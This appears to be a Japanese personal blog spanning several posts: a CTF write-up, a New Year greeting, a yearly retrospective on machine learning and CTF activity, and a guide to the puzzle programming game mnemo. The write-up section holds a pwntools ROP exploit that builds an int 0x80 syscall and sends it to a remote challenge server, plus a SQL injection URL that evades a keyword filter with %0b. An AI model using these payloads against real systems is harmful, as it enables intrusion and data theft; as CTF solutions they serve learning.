しかし、一度作ったebxのアドレスをecxにコピーする手段が思いつかなかったので、eaxにもう一つ作って（今度は0x556b7e39をロードしてah + alしてal+0x35)、[edx] に書き込んだ。ここで、なぜか（理由はなんにせよ）ecxとedxがrop開始時に同じアドレスを指していることを利用した。
# coding:utf-8 from __future__ import print_function from pwn import * shellcode = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef" shellcode += "(0dU" # pop ebx shellcode += "~~kU" # addr(0x556b7e7e) shellcode += "7zaU" # mov eax, 0x20 shellcode += "cBdU"*0x19 # inc eax 0x19 times shellcode += "`(mU" # add ah, al shellcode += "cBdU"*0x35 # inc eax 0x35 times shellcode += "CNcU" # add bh, ah shellcode += ">d_U" # add bl, al shellcode += "_mgU" # pop eax; add esp, 0x5c shellcode += "9~KU" # addr(0x556b7e39) shellcode += "A" * 0x5c # dummy shellcode += "`(mU" # add ah, al shellcode += "cBdU"*0x35 # inc eax 0x35 times shellcode += "r{^U" # mov dword [edx], eax; ea eax, dword [edx+0x03] shellcode += "z-dU"*0x4 # inc edx; xor eax, eax -> edx +4 shellcode += "r{^U" # mov dword [edx], eax; ea eax, dword [edx+0x03] shellcode += "?yaU" # mov edx, 0xffffffff shellcode += "z-dU" # inc edx; xor eax, eax shellcode += "cBdU"*0xb # inc eax 0xb times shellcode += "wqfU" # int 0x80 print(shellcode) host = "202.120.7.214" port = 23222 r = remote(host, port) r.recvuntil("GO : )") r.sendline(shellcode) r.interactive() # ref # https://www.goto.info.waseda.ac.jp/~kiire/bin/rop.php # http://qiita.com/kusano_k/items/ce48945f9ee8763edd1c
py
これも頑張ればできる問題。solverも多かった。pycが渡されるが、なぜかopecodeを入れ替えたらしい（意味不明）。ただ、入れ替えたのはopcodeのみで、opcodeが使う変数などのindexはいじられていないので、opcodeが70以上かどうかは見ればすぐわかるし、ソースコードが短いので、だいたい雰囲気はつかめる。また、ロードしている変数名から、rotorというライブラリを使っているらしいこともわかるのであとは気合を出す。decrypt関数だけ復元したものが次。<39>が、strとintの演算子でずっと[]のどれかだと思っていたのでつらい
def decrypt(data): key_a = "!@#$%^&*" key_b = "abcdefgh" key_c = '<>{}:"' key = key_a * 4 + "|" + (key_b + key_a + key_c)*2 + "|" + key_b*2 + "EOF" secret = rotor.newrotor(key) return secret.decrypt(data)
simplesqlin
まぁ、これは。solver300人くらいいた気がする。%0bを入れると避けられることをtotemさんが教えてどこかへ行ってしまったので、解いた。
http://202.120.7.203/index.php?id=5 union SE%0bLECT 0,0,flag FRO%0bM flag
暇だったので参加したけれど、各位は忙しそうだったので、daiさんと二人での参加に（ほぼ）なった。二日間あったけど、結局最終日の夜あたりが一番やっていた。２日あっても集中できるのは１日もないということなので、CTFは１日でよいという気持ちになった
あけましておめでとうございます
あけましておめでとうございます。年賀状情報です。
描いたのはStarryというプログラミング言語です。某esolang大会のときに、@kurgm氏が解いていた言語で、これがまさに星空のようで美しく、割と個人的に気に入りました。
今年もよろしくお願いします。
今年の総括
去年もこんなことを書いていた気がするので、今年もまた。
今までも十分浅く広かったんですが、今年はいつにもまして、浅く広く色々と触りました。なので、結局何も無いという感じですかね。
なんもわからん。
以下、gistやその他を参照して今年やったかなあと思うことをまとめます。
prml
prml、夏あたりはモチベが高く、読んでいたんだけれど10章、（というか10章がわからないことは9章後半に起因するかもしれないけれど）、あたりで萎えてしまった、来年の宿題にしていきたい。一応ちらほらと実装はした（動くことは保証してない）ので、リスト。特に、ニューラルネットに関しては勾配消失が深刻っぽく、5回に1回くらいしかうまく動かない。まぁ、tensorflowがあるし、問題ないでしょ、みたいな気持ち。
- support vector machine
- inverse transform sampling
- linear regression
- perceptron
- logistic regression
- neural network (sin fitting)
- q learning(prml外)
論文
ちらほらと機械学習の"有名とされている"論文を読んだ。もう少し、読んで、かつ実装してみたかったなぁという気持ち。
まとめようと思ったらスライド二つしかなかったなあ
CTF
TSG勢の人々が割とCTF好きの人が多かったので、CTFも少しやった。ksnctfの履歴とかを眺めていると懐かしいなあ〜という気持ちがつよい（某Bはついこの前倒したが（なんでだ？））。 多分覚えている範囲だと、CSAW、Hackcon、HITCON、Hackthevote、SECCON付近に参加した。 SECCON、HITCONをみている限りだと、pwnはもはやheapが常識らしく、なるほどなあという気持ちになった。 HITCONの正規表現ゲームが非常に面白く、正規表現謎コーディングにハマった。
他は無いかな
開発系
僕個人としては、あんまりWEBのことはわからんみたいな気持ちでいたんですが、@hakatashiさんの影響もあり、現代WEB（僕が知っていたのは古生代のWEBだった）についてある程度触った（触ったという表現が非常に正しそう）。ここら辺は今後も使う事が多いだろうし、今後もやらなきゃいけない部分かなあ。
多重振り子（ゴミ）
多体シミュレーションをやろうとしたんだけどなあ、結局なんかうまく発散せずにまとめられず飽きてしまった。 https://gist.github.com/moratorium08/49956701177d8e3bbe52f4b69bc96523
ゆゆ式
今後
数学やりてえ。
その他
あと、競プロに関しては、春頃はやるぞ！って思っていたのに、結局何もしていないので、目標とは、みたいな気持ちになっている・・・😢
mnemoにおける普遍的なテク
はじめに
この記事は、TSG Advent Calendar 22日目として書かれました。
タイトルだけ見るとなんかすごい技を紹介するみたいな風に見えますが、そうではなく、普通にやってもらっていて分かりにくいんじゃないかなと思ったりする部分をある程度補完したい、という思いで書こうと思いました（ただ、現状のランキングを見れば明らかにそんなことはなさそうなのでこの記事の意味はあまりなさそう）。
mnemoとは
TSGというサークルが作ったパズル的プログラミングゲームです。mnemo.proでできます。ぜひランキングに登録してください。たのしいです。詳しくは、博多市さんのブログ、パズルゲーム「MNEMO」を製作しましたをみてください。
1を作る
後ろの方では、定数ブロックとして、1が存在しますが、最初の方のステージでは存在しない場合があり、少し詰まるポイントなのかなあと思います。いくつか手法があります。
イコールブロックを使う
割り算ブロックを使う
これは、入力に0がないことが保証されている必要があります。
引くブロックを使う
イコールが使えなくて、０が入力にある時（現状あったかわからない）。点数的に弱い
0を作る
まぁ、はい。
余りの計算
mnemoにおいて、流れる数は全て整数で閉じています。割り算についてもその仕様が適用されて、割り切れない場合、小数切り捨てが起こります。切り捨てではないことに注意が必要です。これはC言語と同じ仕様なのですが、をする場合、答えば
ではなく
になります。
この整数に閉じているという性質を使うと、商を割った値で再びかけ、元の値から引くことで余りが求まります。つまりxをyで割ったあまりrは
ということになります。
この場合、負の数では負の余りになりますが、これはC言語でもそうなので、問題はないです（僕は納得いかないんですが。ちなみにPythonは"良い"言語なので、ちゃんと負の数でも正の余りになります）。具体的な回路としては次のような感じです。ここではあまり３を計算する回路を書いています。
ちなみに、に関しても切り捨てが存在し（mnemoでは、現状、
を超えない最大の整数という仕様になっています）、これと
をうまく使いこなすことで、うまいことができたりできなかったり・・・？
if then else
トランジスター使うだけですが、なんか思ったより書くことがなかったので。ちなみに、点数を考える場合、トランジスターはやや効率が悪く、できれば、三項演算子を使うべきです（？というやつです）。ここら辺の仕様は、モーダルとしても表示されますが、ここにも、まとめられています。
これも具体的に見た方がわかりやすいと思うので、簡単な回路を書いてみます。実際にあるステージを解いてしまっても面白くないので、ちょっと都合良い設定の問題として「3で割り切れるときは3倍、1あまる時は、2倍、2あまる時は1倍」という恣意的な問題（実際似たようなステージがありますが）を考えてみます。これは愚直に実装する場合、まさに
int f(int x) { int m = x % 3; if (m == 0) return x * 3; else if(m == 1) return x * 2; else return x; }
という回路を組めばよいことになります。これをmnemoで表現すると、次のようになります。
mnemoでは、条件分岐の真偽が0なら偽、0以外なら真となっています。したがって、例えば、1かどうかを判定する場合に、1を引いて0かどうかを判定すればよいことになります。
for
解いている人の数を見ていると、ループ問を解いている人は少ないです（時間がかかるからという理由が強そうですが）。再帰などを含まない回路の場合、ループカウンタを使ったループは非常に簡単にかけます（なので解いて・・・）。これは見た方が早いので、具体的な回路を組んでみます。10という数が上から流れてきて、1~10を（愚直に）足しあげるという操作を考えると、次のようになります。ちなみに、これを少し書き換えるだけで、階乗ステージはクリアすることが可能です。
点数の原理
mnemoの点数計算は、hakatashiさんによって生成されたとある式によって計算されています。定義が、一応、wikiにある案１というものになっています。簡単に言えばクロックが少なく、使ったブロックが少ない方がよいスコアになるようになっているはずです。ただ、ブロックは条件分岐が3点、演算子系が2点の重み付けがされているので注意が必要です。
さいごに
@hakatashi is pro.
